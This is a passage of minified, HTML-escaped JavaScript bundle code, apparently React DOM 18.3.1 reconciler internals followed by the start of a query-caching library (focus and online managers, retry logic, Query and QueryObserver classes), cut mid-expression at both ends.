k=m.type,z=m.pendingProps,z=m.elementType===k?z:Zc(k,z),Z(f,m),m.tag=1,Ps(k)?(f=!0,N(m)):f=!1,bf(m,b),C2(m,k,z),Wi(m,k,z,b),zu(null,m,k,!0,f,b);case 19:return U(f,m,b);case 22:return mA(f,m,b)}throw Error(r(156,m.tag))};function Z_(f,m){return Ma(f,m)}function Rne(f,m,b,k){this.tag=f,this.key=b,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=m,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=k,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function Hu(f,m,b,k){return new Rne(f,m,b,k)}function KC(f){return f=f.prototype,!(!f||!f.isReactComponent)}function Pne(f){if(typeof f==&quot;function&quot;)return KC(f)?1:0;if(f!=null){if(f=f.$$typeof,f===P)return 11;if(f===W)return 14}return 2}function Hh(f,m){var b=f.alternate;return b===null?(b=Hu(f.tag,m,f.key,f.mode),b.elementType=f.elementType,b.type=f.type,b.stateNode=f.stateNode,b.alternate=f,f.alternate=b):(b.pendingProps=m,b.type=f.type,b.flags=0,b.subtreeFlags=0,b.deletions=null),b.flags=f.flags&amp;14680064,b.childLanes=f.childLanes,b.lanes=f.lanes,b.child=f.child,b.memoizedProps=f.memoizedProps,b.memoizedState=f.memoizedState,b.updateQueue=f.updateQueue,m=f.dependencies,b.dependencies=m===null?null:{lanes:m.lanes,firstContext:m.firstContext},b.sibling=f.sibling,b.index=f.index,b.ref=f.ref,b}function T2(f,m,b,k,z,K){var fe=2;if(k=f,typeof f==&quot;function&quot;)KC(f)&amp;&amp;(fe=1);else if(typeof f==&quot;string&quot;)fe=5;else e:switch(f){case R:return Pp(b.children,z,K,m);case T:fe=8,z|=8;break;case M:return f=Hu(12,b,m,z|2),f.elementType=M,f.lanes=K,f;case L:return f=Hu(13,b,m,z),f.elementType=L,f.lanes=K,f;case X:return f=Hu(19,b,m,z),f.elementType=X,f.lanes=K,f;case J:return R2(b,z,K,m);default:if(typeof f==&quot;object&quot;&amp;&amp;f!==null)switch(f.$$typeof){case O:fe=10;break e;case $:fe=9;break e;case P:fe=11;break e;case W:fe=14;break e;case G:fe=16,k=null;break e}throw Error(r(130,f==null?f:typeof f,&quot;&quot;))}return m=Hu(fe,b,m,z),m.elementType=f,m.type=k,m.lanes=K,m}function Pp(f,m,b,k){return f=Hu(7,f,k,m),f.lanes=b,f}function R2(f,m,b,k){return f=Hu(22,f,k,m),f.elementType=J,f.lanes=b,f.stateNode={isHidden:!1},f}function YC(f,m,b){return f=Hu(6,f,null,m),f.lanes=b,f}function ZC(f,m,b){return m=Hu(4,f.children!==null?f.children:[],f.key,m),m.lanes=b,m.stateNode={containerInfo:f.containerInfo,pendingChildren:null,implementation:f.implementation},m}function Qne(f,m,b,k,z){this.tag=m,this.containerInfo=f,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=Rr(0),this.expirationTimes=Rr(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=Rr(0),this.identifierPrefix=k,this.onRecoverableError=z,this.mutableSourceEagerHydrationData=null}function JC(f,m,b,k,z,K,fe,ke,Ue){return f=new Qne(f,m,b,ke,Ue),m===1?(m=1,K===!0&amp;&amp;(m|=8)):m=0,K=Hu(3,null,null,m),f.current=K,K.stateNode=f,K.memoizedState={element:k,isDehydrated:b,cache:null,transitions:null,pendingSuspenseBoundaries:null},Hc(K),f}function Fne(f,m,b){var k=3&lt;arguments.length&amp;&amp;arguments[3]!==void 0?arguments[3]:null;return{$$typeof:Q,key:k==null?null:&quot;&quot;+k,children:f,containerInfo:m,implementation:b}}function J_(f){if(!f)return Io;f=f._reactInternals;e:{if(si(f)!==f||f.tag!==1)throw Error(r(170));var m=f;do{switch(m.tag){case 3:m=m.stateNode.context;break e;case 1:if(Ps(m.type)){m=m.stateNode.__reactInternalMemoizedMergedChildContext;break e}}m=m.return}while(m!==null);throw Error(r(171))}if(f.tag===1){var b=f.type;if(Ps(b))return B(f,b,m)}return m}function X_(f,m,b,k,z,K,fe,ke,Ue){return f=JC(b,k,!0,f,z,K,fe,ke,Ue),f.context=J_(null),b=f.current,k=Ml(),z=zh(b),K=dc(k,z),K.callback=m??null,qc(b,K,z),f.current.lanes=z,fn(f,z,k),hc(f,k),f}function P2(f,m,b,k){var z=m.current,K=Ml(),fe=zh(z);return b=J_(b),m.context===null?m.context=b:m.pendingContext=b,m=dc(K,fe),m.payload={element:f},k=k===void 0?null:k,k!==null&amp;&amp;(m.callback=k),f=qc(z,m,fe),f!==null&amp;&amp;(S0(f,z,fe,K),aA(f,z,fe)),fe}function Q2(f){return f=f.current,f.child?(f.child.tag===5,f.child.stateNode):null}function eD(f,m){if(f=f.memoizedState,f!==null&amp;&amp;f.dehydrated!==null){var b=f.retryLane;f.retryLane=b!==0&amp;&amp;b&lt;m?b:m}}function XC(f,m){eD(f,m),(f=f.alternate)&amp;&amp;eD(f,m)}function One(){return null}var tD=typeof reportError==&quot;function&quot;?reportError:function(f){console.error(f)};function eI(f){this._internalRoot=f}F2.prototype.render=eI.prototype.render=function(f){var m=this._internalRoot;if(m===null)throw Error(r(409));P2(f,m,null,null)},F2.prototype.unmount=eI.prototype.unmount=function(){var f=this._internalRoot;if(f!==null){this._internalRoot=null;var m=f.containerInfo;Dp(function(){P2(null,f,null,null)}),m[Mc]=null}};function F2(f){this._internalRoot=f}F2.prototype.unstable_scheduleHydration=function(f){if(f){var m=Uo();f={blockedOn:null,target:f,priority:m};for(var b=0;b&lt;va.length&amp;&amp;m!==0&amp;&amp;m&lt;va[b].priority;b++);va.splice(b,0,f),b===0&amp;&amp;Ba(f)}};function tI(f){return!(!f||f.nodeType!==1&amp;&amp;f.nodeType!==9&amp;&amp;f.nodeType!==11)}function O2(f){return!(!f||f.nodeType!==1&amp;&amp;f.nodeType!==9&amp;&amp;f.nodeType!==11&amp;&amp;(f.nodeType!==8||f.nodeValue!==&quot; react-mount-point-unstable &quot;))}function rD(){}function Lne(f,m,b,k,z){if(z){if(typeof k==&quot;function&quot;){var K=k;k=function(){var At=Q2(fe);K.call(At)}}var fe=X_(m,k,f,0,null,!1,!1,&quot;&quot;,rD);return f._reactRootContainer=fe,f[Mc]=fe.current,Ol(f.nodeType===8?f.parentNode:f),Dp(),fe}for(;z=f.lastChild;)f.removeChild(z);if(typeof k==&quot;function&quot;){var ke=k;k=function(){var At=Q2(Ue);ke.call(At)}}var Ue=JC(f,0,!1,null,null,!1,!1,&quot;&quot;,rD);return f._reactRootContainer=Ue,f[Mc]=Ue.current,Ol(f.nodeType===8?f.parentNode:f),Dp(function(){P2(m,Ue,b,k)}),Ue}function L2(f,m,b,k,z){var K=b._reactRootContainer;if(K){var fe=K;if(typeof z==&quot;function&quot;){var ke=z;z=function(){var Ue=Q2(fe);ke.call(Ue)}}P2(m,fe,f,z)}else fe=Lne(b,m,f,z,k);return Q2(fe)}ro=function(f){switch(f.tag){case 3:var m=f.stateNode;if(m.current.memoizedState.isDehydrated){var b=vt(m.pendingLanes);b!==0&amp;&amp;(mn(m,b|1),hc(m,pr()),(Ci&amp;6)===0&amp;&amp;(xA=pr()+500,Rt()))}break;case 13:Dp(function(){var k=bl(f,1);if(k!==null){var z=Ml();S0(k,f,1,z)}}),XC(f,1)}},ts=function(f){if(f.tag===13){var m=bl(f,134217728);if(m!==null){var b=Ml();S0(m,f,134217728,b)}XC(f,134217728)}},Dl=function(f){if(f.tag===13){var m=zh(f),b=bl(f,m);if(b!==null){var k=Ml();S0(b,f,m,k)}XC(f,m)}},Uo=function(){return Kr},zo=function(f,m){var b=Kr;try{return Kr=f,m()}finally{Kr=b}},H=function(f,m,b){switch(m){case&quot;input&quot;:if(dt(f,b),m=b.name,b.type===&quot;radio&quot;&amp;&amp;m!=null){for(b=f;b.parentNode;)b=b.parentNode;for(b=b.querySelectorAll(&quot;input[name=&quot;+JSON.stringify(&quot;&quot;+m)+&#039;][type=&quot;radio&quot;]&#039;),m=0;m&lt;b.length;m++){var k=b[m];if(k!==f&amp;&amp;k.form===f.form){var z=Uc(k);if(!z)throw Error(r(90));Re(k),dt(k,z)}}}break;case&quot;textarea&quot;:tr(f,b);break;case&quot;select&quot;:m=b.value,m!=null&amp;&amp;gt(f,!!b.multiple,m,!1)}},dr=GC,Xt=Dp;var Mne={usingClientEntryPoint:!1,Events:[E0,vl,Uc,De,qe,GC]},bx={findFiberByHostInstance:so,bundleType:0,version:&quot;18.3.1&quot;,rendererPackageName:&quot;react-dom&quot;},Une={bundleType:bx.bundleType,version:bx.version,rendererPackageName:bx.rendererPackageName,rendererConfig:bx.rendererConfig,overrideHookState:null,overrideHookStateDeletePath:null,overrideHookStateRenamePath:null,overrideProps:null,overridePropsDeletePath:null,overridePropsRenamePath:null,setErrorHandler:null,setSuspenseHandler:null,scheduleUpdate:null,currentDispatcherRef:_.ReactCurrentDispatcher,findHostInstanceByFiber:function(f){return f=Ui(f),f===null?null:f.stateNode},findFiberByHostInstance:bx.findFiberByHostInstance||One,findHostInstancesForRefresh:null,scheduleRefresh:null,scheduleRoot:null,setRefreshHandler:null,getCurrentFiber:null,reconcilerVersion:&quot;18.3.1-next-f1338f8080-20240426&quot;};if(typeof __REACT_DEVTOOLS_GLOBAL_HOOK__&lt;&quot;u&quot;){var M2=__REACT_DEVTOOLS_GLOBAL_HOOK__;if(!M2.isDisabled&amp;&amp;M2.supportsFiber)try{Ha=M2.inject(Une),oi=M2}catch{}}return mc.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED=Mne,mc.createPortal=function(f,m){var b=2&lt;arguments.length&amp;&amp;arguments[2]!==void 0?arguments[2]:null;if(!tI(m))throw Error(r(200));return Fne(f,m,null,b)},mc.createRoot=function(f,m){if(!tI(f))throw Error(r(299));var b=!1,k=&quot;&quot;,z=tD;return m!=null&amp;&amp;(m.unstable_strictMode===!0&amp;&amp;(b=!0),m.identifierPrefix!==void 0&amp;&amp;(k=m.identifierPrefix),m.onRecoverableError!==void 0&amp;&amp;(z=m.onRecoverableError)),m=JC(f,1,!1,null,null,b,!1,k,z),f[Mc]=m.current,Ol(f.nodeType===8?f.parentNode:f),new eI(m)},mc.findDOMNode=function(f){if(f==null)return null;if(f.nodeType===1)return f;var m=f._reactInternals;if(m===void 0)throw typeof f.render==&quot;function&quot;?Error(r(188)):(f=Object.keys(f).join(&quot;,&quot;),Error(r(268,f)));return f=Ui(m),f=f===null?null:f.stateNode,f},mc.flushSync=function(f){return Dp(f)},mc.hydrate=function(f,m,b){if(!O2(m))throw Error(r(200));return L2(null,f,m,!0,b)},mc.hydrateRoot=function(f,m,b){if(!tI(f))throw Error(r(405));var k=b!=null&amp;&amp;b.hydratedSources||null,z=!1,K=&quot;&quot;,fe=tD;if(b!=null&amp;&amp;(b.unstable_strictMode===!0&amp;&amp;(z=!0),b.identifierPrefix!==void 0&amp;&amp;(K=b.identifierPrefix),b.onRecoverableError!==void 0&amp;&amp;(fe=b.onRecoverableError)),m=X_(m,null,f,1,b??null,z,!1,K,fe),f[Mc]=m.current,Ol(f),k)for(f=0;f&lt;k.length;f++)b=k[f],z=b._getVersion,z=z(b._source),m.mutableSourceEagerHydrationData==null?m.mutableSourceEagerHydrationData=[b,z]:m.mutableSourceEagerHydrationData.push(b,z);return new F2(m)},mc.render=function(f,m,b){if(!O2(m))throw Error(r(200));return L2(null,f,m,!1,b)},mc.unmountComponentAtNode=function(f){if(!O2(f))throw Error(r(40));return f._reactRootContainer?(Dp(function(){L2(null,null,f,!1,function(){f._reactRootContainer=null,f[Mc]=null})}),!0):!1},mc.unstable_batchedUpdates=GC,mc.unstable_renderSubtreeIntoContainer=function(f,m,b,k){if(!O2(b))throw Error(r(200));if(f==null||f._reactInternals===void 0)throw Error(r(38));return L2(f,m,b,!1,k)},mc.version=&quot;18.3.1-next-f1338f8080-20240426&quot;,mc}var uD;function fO(){if(uD)return iI.exports;uD=1;function e(){if(!(typeof __REACT_DEVTOOLS_GLOBAL_HOOK__&gt;&quot;u&quot;||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!=&quot;function&quot;))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(e)}catch(t){console.error(t)}}return e(),iI.exports=Kne(),iI.exports}var dD;function Yne(){if(dD)return U2;dD=1;var e=fO();return U2.createRoot=e.createRoot,U2.hydrateRoot=e.hydrateRoot,U2}var Zne=Yne(),_g=class{constructor(){this.listeners=new Set,this.subscribe=this.subscribe.bind(this)}subscribe(e){return this.listeners.add(e),this.onSubscribe(),()=&gt;{this.listeners.delete(e),this.onUnsubscribe()}}hasListeners(){return this.listeners.size&gt;0}onSubscribe(){}onUnsubscribe(){}},Jne={setTimeout:(e,t)=&gt;setTimeout(e,t),clearTimeout:e=&gt;clearTimeout(e),setInterval:(e,t)=&gt;setInterval(e,t),clearInterval:e=&gt;clearInterval(e)},Xne=class{#t=Jne;#e=!1;setTimeoutProvider(e){this.#t=e}setTimeout(e,t){return this.#t.setTimeout(e,t)}clearTimeout(e){this.#t.clearTimeout(e)}setInterval(e,t){return this.#t.setInterval(e,t)}clearInterval(e){this.#t.clearInterval(e)}},qp=new Xne;function eie(e){setTimeout(e,0)}var fg=typeof window&gt;&quot;u&quot;||&quot;Deno&quot;in globalThis;function Cl(){}function tie(e,t){return typeof e==&quot;function&quot;?e(t):e}function O3(e){return typeof e==&quot;number&quot;&amp;&amp;e&gt;=0&amp;&amp;e!==1/0}function hO(e,t){return Math.max(e+(t||0)-Date.now(),0)}function Am(e,t){return typeof e==&quot;function&quot;?e(t):e}function Yu(e,t){return typeof e==&quot;function&quot;?e(t):e}function fD(e,t){const{type:r=&quot;all&quot;,exact:n,fetchStatus:i,predicate:s,queryKey:o,stale:l}=e;if(o){if(n){if(t.queryHash!==C6(o,t.options))return!1}else if(!av(t.queryKey,o))return!1}if(r!==&quot;all&quot;){const c=t.isActive();if(r===&quot;active&quot;&amp;&amp;!c||r===&quot;inactive&quot;&amp;&amp;c)return!1}return!(typeof l==&quot;boolean&quot;&amp;&amp;t.isStale()!==l||i&amp;&amp;i!==t.state.fetchStatus||s&amp;&amp;!s(t))}function hD(e,t){const{exact:r,status:n,predicate:i,mutationKey:s}=e;if(s){if(!t.options.mutationKey)return!1;if(r){if(hg(t.options.mutationKey)!==hg(s))return!1}else if(!av(t.options.mutationKey,s))return!1}return!(n&amp;&amp;t.state.status!==n||i&amp;&amp;!i(t))}function C6(e,t){return(t?.queryKeyHashFn||hg)(e)}function hg(e){return JSON.stringify(e,(t,r)=&gt;L3(r)?Object.keys(r).sort().reduce((n,i)=&gt;(n[i]=r[i],n),{}):r)}function av(e,t){return e===t?!0:typeof e!=typeof t?!1:e&amp;&amp;t&amp;&amp;typeof e==&quot;object&quot;&amp;&amp;typeof t==&quot;object&quot;?Object.keys(t).every(r=&gt;av(e[r],t[r])):!1}var rie=Object.prototype.hasOwnProperty;function I6(e,t){if(e===t)return e;const r=mD(e)&amp;&amp;mD(t);if(!r&amp;&amp;!(L3(e)&amp;&amp;L3(t)))return t;const i=(r?e:Object.keys(e)).length,s=r?t:Object.keys(t),o=s.length,l=r?new Array(o):{};let c=0;for(let d=0;d&lt;o;d++){const u=r?d:s[d],h=e[u],p=t[u];if(h===p){l[u]=h,(r?d&lt;i:rie.call(e,u))&amp;&amp;c++;continue}if(h===null||p===null||typeof h!=&quot;object&quot;||typeof p!=&quot;object&quot;){l[u]=p;continue}const A=I6(h,p);l[u]=A,A===h&amp;&amp;c++}return i===o&amp;&amp;c===i?e:l}function sv(e,t){if(!t||Object.keys(e).length!==Object.keys(t).length)return!1;for(const r in e)if(e[r]!==t[r])return!1;return!0}function mD(e){return Array.isArray(e)&amp;&amp;e.length===Object.keys(e).length}function L3(e){if(!pD(e))return!1;const t=e.constructor;if(t===void 0)return!0;const r=t.prototype;return!(!pD(r)||!r.hasOwnProperty(&quot;isPrototypeOf&quot;)||Object.getPrototypeOf(e)!==Object.prototype)}function pD(e){return Object.prototype.toString.call(e)===&quot;[object Object]&quot;}function nie(e){return new Promise(t=&gt;{qp.setTimeout(t,e)})}function M3(e,t,r){return typeof r.structuralSharing==&quot;function&quot;?r.structuralSharing(e,t):r.structuralSharing!==!1?I6(e,t):t}function iie(e,t,r=0){const n=[...e,t];return r&amp;&amp;n.length&gt;r?n.slice(1):n}function aie(e,t,r=0){const n=[t,...e];return r&amp;&amp;n.length&gt;r?n.slice(0,-1):n}var j6=Symbol();function mO(e,t){return!e.queryFn&amp;&amp;t?.initialPromise?()=&gt;t.initialPromise:!e.queryFn||e.queryFn===j6?()=&gt;Promise.reject(new Error(`Missing queryFn: &#039;${e.queryHash}&#039;`)):e.queryFn}function pO(e,t){return typeof e==&quot;function&quot;?e(...t):!!e}function sie(e,t,r){let n=!1,i;return Object.defineProperty(e,&quot;signal&quot;,{enumerable:!0,get:()=&gt;(i??=t(),n||(n=!0,i.aborted?r():i.addEventListener(&quot;abort&quot;,r,{once:!0})),i)}),e}var oie=class extends _g{#t;#e;#r;constructor(){super(),this.#r=e=&gt;{if(!fg&amp;&amp;window.addEventListener){const t=()=&gt;e();return window.addEventListener(&quot;visibilitychange&quot;,t,!1),()=&gt;{window.removeEventListener(&quot;visibilitychange&quot;,t)}}}}onSubscribe(){this.#e||this.setEventListener(this.#r)}onUnsubscribe(){this.hasListeners()||(this.#e?.(),this.#e=void 0)}setEventListener(e){this.#r=e,this.#e?.(),this.#e=e(t=&gt;{typeof t==&quot;boolean&quot;?this.setFocused(t):this.onFocus()})}setFocused(e){this.#t!==e&amp;&amp;(this.#t=e,this.onFocus())}onFocus(){const e=this.isFocused();this.listeners.forEach(t=&gt;{t(e)})}isFocused(){return typeof this.#t==&quot;boolean&quot;?this.#t:globalThis.document?.visibilityState!==&quot;hidden&quot;}},N6=new oie;function U3(){let e,t;const r=new Promise((i,s)=&gt;{e=i,t=s});r.status=&quot;pending&quot;,r.catch(()=&gt;{});function n(i){Object.assign(r,i),delete r.resolve,delete r.reject}return r.resolve=i=&gt;{n({status:&quot;fulfilled&quot;,value:i}),e(i)},r.reject=i=&gt;{n({status:&quot;rejected&quot;,reason:i}),t(i)},r}var lie=eie;function cie(){let e=[],t=0,r=l=&gt;{l()},n=l=&gt;{l()},i=lie;const s=l=&gt;{t?e.push(l):i(()=&gt;{r(l)})},o=()=&gt;{const l=e;e=[],l.length&amp;&amp;i(()=&gt;{n(()=&gt;{l.forEach(c=&gt;{r(c)})})})};return{batch:l=&gt;{let c;t++;try{c=l()}finally{t--,t||o()}return c},batchCalls:l=&gt;(...c)=&gt;{s(()=&gt;{l(...c)})},schedule:s,setNotifyFunction:l=&gt;{r=l},setBatchNotifyFunction:l=&gt;{n=l},setScheduler:l=&gt;{i=l}}}var ds=cie(),uie=class extends _g{#t=!0;#e;#r;constructor(){super(),this.#r=e=&gt;{if(!fg&amp;&amp;window.addEventListener){const t=()=&gt;e(!0),r=()=&gt;e(!1);return window.addEventListener(&quot;online&quot;,t,!1),window.addEventListener(&quot;offline&quot;,r,!1),()=&gt;{window.removeEventListener(&quot;online&quot;,t),window.removeEventListener(&quot;offline&quot;,r)}}}}onSubscribe(){this.#e||this.setEventListener(this.#r)}onUnsubscribe(){this.hasListeners()||(this.#e?.(),this.#e=void 0)}setEventListener(e){this.#r=e,this.#e?.(),this.#e=e(this.setOnline.bind(this))}setOnline(e){this.#t!==e&amp;&amp;(this.#t=e,this.listeners.forEach(r=&gt;{r(e)}))}isOnline(){return this.#t}},J5=new uie;function die(e){return Math.min(1e3*2**e,3e4)}function gO(e){return(e??&quot;online&quot;)===&quot;online&quot;?J5.isOnline():!0}var z3=class extends Error{constructor(e){super(&quot;CancelledError&quot;),this.revert=e?.revert,this.silent=e?.silent}};function AO(e){let t=!1,r=0,n;const i=U3(),s=()=&gt;i.status!==&quot;pending&quot;,o=v=&gt;{if(!s()){const w=new z3(v);p(w),e.onCancel?.(w)}},l=()=&gt;{t=!0},c=()=&gt;{t=!1},d=()=&gt;N6.isFocused()&amp;&amp;(e.networkMode===&quot;always&quot;||J5.isOnline())&amp;&amp;e.canRun(),u=()=&gt;gO(e.networkMode)&amp;&amp;e.canRun(),h=v=&gt;{s()||(n?.(),i.resolve(v))},p=v=&gt;{s()||(n?.(),i.reject(v))},A=()=&gt;new Promise(v=&gt;{n=w=&gt;{(s()||d())&amp;&amp;v(w)},e.onPause?.()}).then(()=&gt;{n=void 0,s()||e.onContinue?.()}),y=()=&gt;{if(s())return;let v;const w=r===0?e.initialPromise:void 0;try{v=w??e.fn()}catch(j){v=Promise.reject(j)}Promise.resolve(v).then(h).catch(j=&gt;{if(s())return;const E=e.retry??(fg?0:3),S=e.retryDelay??die,_=typeof S==&quot;function&quot;?S(r,j):S,C=E===!0||typeof E==&quot;number&quot;&amp;&amp;r&lt;E||typeof E==&quot;function&quot;&amp;&amp;E(r,j);if(t||!C){p(j);return}r++,e.onFail?.(r,j),nie(_).then(()=&gt;d()?void 0:A()).then(()=&gt;{t?p(j):y()})})};return{promise:i,status:()=&gt;i.status,cancel:o,continue:()=&gt;(n?.(),i),cancelRetry:l,continueRetry:c,canStart:u,start:()=&gt;(u()?y():A().then(y),i)}}var xO=class{#t;destroy(){this.clearGcTimeout()}scheduleGc(){this.clearGcTimeout(),O3(this.gcTime)&amp;&amp;(this.#t=qp.setTimeout(()=&gt;{this.optionalRemove()},this.gcTime))}updateGcTime(e){this.gcTime=Math.max(this.gcTime||0,e??(fg?1/0:300*1e3))}clearGcTimeout(){this.#t&amp;&amp;(qp.clearTimeout(this.#t),this.#t=void 0)}},fie=class extends xO{#t;#e;#r;#i;#n;#a;#o;constructor(e){super(),this.#o=!1,this.#a=e.defaultOptions,this.setOptions(e.options),this.observers=[],this.#i=e.client,this.#r=this.#i.getQueryCache(),this.queryKey=e.queryKey,this.queryHash=e.queryHash,this.#t=AD(this.options),this.state=e.state??this.#t,this.scheduleGc()}get meta(){return this.options.meta}get promise(){return this.#n?.promise}setOptions(e){if(this.options={...this.#a,...e},this.updateGcTime(this.options.gcTime),this.state&amp;&amp;this.state.data===void 0){const t=AD(this.options);t.data!==void 0&amp;&amp;(this.setState(gD(t.data,t.dataUpdatedAt)),this.#t=t)}}optionalRemove(){!this.observers.length&amp;&amp;this.state.fetchStatus===&quot;idle&quot;&amp;&amp;this.#r.remove(this)}setData(e,t){const r=M3(this.state.data,e,this.options);return this.#s({data:r,type:&quot;success&quot;,dataUpdatedAt:t?.updatedAt,manual:t?.manual}),r}setState(e,t){this.#s({type:&quot;setState&quot;,state:e,setStateOptions:t})}cancel(e){const t=this.#n?.promise;return this.#n?.cancel(e),t?t.then(Cl).catch(Cl):Promise.resolve()}destroy(){super.destroy(),this.cancel({silent:!0})}reset(){this.destroy(),this.setState(this.#t)}isActive(){return this.observers.some(e=&gt;Yu(e.options.enabled,this)!==!1)}isDisabled(){return this.getObserversCount()&gt;0?!this.isActive():this.options.queryFn===j6||this.state.dataUpdateCount+this.state.errorUpdateCount===0}isStatic(){return this.getObserversCount()&gt;0?this.observers.some(e=&gt;Am(e.options.staleTime,this)===&quot;static&quot;):!1}isStale(){return this.getObserversCount()&gt;0?this.observers.some(e=&gt;e.getCurrentResult().isStale):this.state.data===void 0||this.state.isInvalidated}isStaleByTime(e=0){return this.state.data===void 0?!0:e===&quot;static&quot;?!1:this.state.isInvalidated?!0:!hO(this.state.dataUpdatedAt,e)}onFocus(){this.observers.find(t=&gt;t.shouldFetchOnWindowFocus())?.refetch({cancelRefetch:!1}),this.#n?.continue()}onOnline(){this.observers.find(t=&gt;t.shouldFetchOnReconnect())?.refetch({cancelRefetch:!1}),this.#n?.continue()}addObserver(e){this.observers.includes(e)||(this.observers.push(e),this.clearGcTimeout(),this.#r.notify({type:&quot;observerAdded&quot;,query:this,observer:e}))}removeObserver(e){this.observers.includes(e)&amp;&amp;(this.observers=this.observers.filter(t=&gt;t!==e),this.observers.length||(this.#n&amp;&amp;(this.#o?this.#n.cancel({revert:!0}):this.#n.cancelRetry()),this.scheduleGc()),this.#r.notify({type:&quot;observerRemoved&quot;,query:this,observer:e}))}getObserversCount(){return this.observers.length}invalidate(){this.state.isInvalidated||this.#s({type:&quot;invalidate&quot;})}async fetch(e,t){if(this.state.fetchStatus!==&quot;idle&quot;&amp;&amp;this.#n?.status()!==&quot;rejected&quot;){if(this.state.data!==void 0&amp;&amp;t?.cancelRefetch)this.cancel({silent:!0});else if(this.#n)return this.#n.continueRetry(),this.#n.promise}if(e&amp;&amp;this.setOptions(e),!this.options.queryFn){const l=this.observers.find(c=&gt;c.options.queryFn);l&amp;&amp;this.setOptions(l.options)}const r=new AbortController,n=l=&gt;{Object.defineProperty(l,&quot;signal&quot;,{enumerable:!0,get:()=&gt;(this.#o=!0,r.signal)})},i=()=&gt;{const l=mO(this.options,t),d=(()=&gt;{const u={client:this.#i,queryKey:this.queryKey,meta:this.meta};return n(u),u})();return this.#o=!1,this.options.persister?this.options.persister(l,d,this):l(d)},o=(()=&gt;{const l={fetchOptions:t,options:this.options,queryKey:this.queryKey,client:this.#i,state:this.state,fetchFn:i};return n(l),l})();this.options.behavior?.onFetch(o,this),this.#e=this.state,(this.state.fetchStatus===&quot;idle&quot;||this.state.fetchMeta!==o.fetchOptions?.meta)&amp;&amp;this.#s({type:&quot;fetch&quot;,meta:o.fetchOptions?.meta}),this.#n=AO({initialPromise:t?.initialPromise,fn:o.fetchFn,onCancel:l=&gt;{l instanceof z3&amp;&amp;l.revert&amp;&amp;this.setState({...this.#e,fetchStatus:&quot;idle&quot;}),r.abort()},onFail:(l,c)=&gt;{this.#s({type:&quot;failed&quot;,failureCount:l,error:c})},onPause:()=&gt;{this.#s({type:&quot;pause&quot;})},onContinue:()=&gt;{this.#s({type:&quot;continue&quot;})},retry:o.options.retry,retryDelay:o.options.retryDelay,networkMode:o.options.networkMode,canRun:()=&gt;!0});try{const l=await this.#n.start();if(l===void 0)throw new Error(`${this.queryHash} data is undefined`);return this.setData(l),this.#r.config.onSuccess?.(l,this),this.#r.config.onSettled?.(l,this.state.error,this),l}catch(l){if(l instanceof z3){if(l.silent)return this.#n.promise;if(l.revert){if(this.state.data===void 0)throw l;return this.state.data}}throw this.#s({type:&quot;error&quot;,error:l}),this.#r.config.onError?.(l,this),this.#r.config.onSettled?.(this.state.data,l,this),l}finally{this.scheduleGc()}}#s(e){const t=r=&gt;{switch(e.type){case&quot;failed&quot;:return{...r,fetchFailureCount:e.failureCount,fetchFailureReason:e.error};case&quot;pause&quot;:return{...r,fetchStatus:&quot;paused&quot;};case&quot;continue&quot;:return{...r,fetchStatus:&quot;fetching&quot;};case&quot;fetch&quot;:return{...r,...vO(r.data,this.options),fetchMeta:e.meta??null};case&quot;success&quot;:const n={...r,...gD(e.data,e.dataUpdatedAt),dataUpdateCount:r.dataUpdateCount+1,...!e.manual&amp;&amp;{fetchStatus:&quot;idle&quot;,fetchFailureCount:0,fetchFailureReason:null}};return this.#e=e.manual?n:void 0,n;case&quot;error&quot;:const i=e.error;return{...r,error:i,errorUpdateCount:r.errorUpdateCount+1,errorUpdatedAt:Date.now(),fetchFailureCount:r.fetchFailureCount+1,fetchFailureReason:i,fetchStatus:&quot;idle&quot;,status:&quot;error&quot;};case&quot;invalidate&quot;:return{...r,isInvalidated:!0};case&quot;setState&quot;:return{...r,...e.state}}};this.state=t(this.state),ds.batch(()=&gt;{this.observers.forEach(r=&gt;{r.onQueryUpdate()}),this.#r.notify({query:this,type:&quot;updated&quot;,action:e})})}};function vO(e,t){return{fetchFailureCount:0,fetchFailureReason:null,fetchStatus:gO(t.networkMode)?&quot;fetching&quot;:&quot;paused&quot;,...e===void 0&amp;&amp;{error:null,status:&quot;pending&quot;}}}function gD(e,t){return{data:e,dataUpdatedAt:t??Date.now(),error:null,isInvalidated:!1,status:&quot;success&quot;}}function AD(e){const t=typeof e.initialData==&quot;function&quot;?e.initialData():e.initialData,r=t!==void 0,n=r?typeof e.initialDataUpdatedAt==&quot;function&quot;?e.initialDataUpdatedAt():e.initialDataUpdatedAt:0;return{data:t,dataUpdateCount:0,dataUpdatedAt:r?n??Date.now():0,error:null,errorUpdateCount:0,errorUpdatedAt:0,fetchFailureCount:0,fetchFailureReason:null,fetchMeta:null,isInvalidated:!1,status:r?&quot;success&quot;:&quot;pending&quot;,fetchStatus:&quot;idle&quot;}}var S6=class extends _g{constructor(e,t){super(),this.options=t,this.#t=e,this.#s=null,this.#o=U3(),this.bindMethods(),this.setOptions(t)}#t;#e=void 0;#r=void 0;#i=void 0;#n;#a;#o;#s;#h;#d;#f;#c;#u;#l;#p=new Set;bindMethods(){this.refetch=this.refetch.bind(this)}onSubscribe(){this.listeners.size===1&amp;&amp;(this.#e.addObserver(this),xD(this.#e,this.options)?this.#m():this.updateResult(),this.#v())}onUnsubscribe(){this.hasListeners()||this.destroy()}shouldFetchOnReconnect(){return $3(this.#e,this.options,this.options.refetchOnReconnect)}shouldFetchOnWindowFocus(){return $3(this.#e,this.options,this.options.refetchOnWindowFocus)}destroy(){this.listeners=new Set,this.#y(),this.#b(),this.#e.removeObserver(this)}setOptions(e){const t=this.options,r=this.#e;if(this.options=this.#t.defaultQueryOptions(e),this.options.enabled!==void 0&amp;&amp;typeof this.options.enabled!=&quot;boolean&quot;&amp;&amp;typeof this.options.enabled!=&quot;function&quot;&amp;&amp;typeof 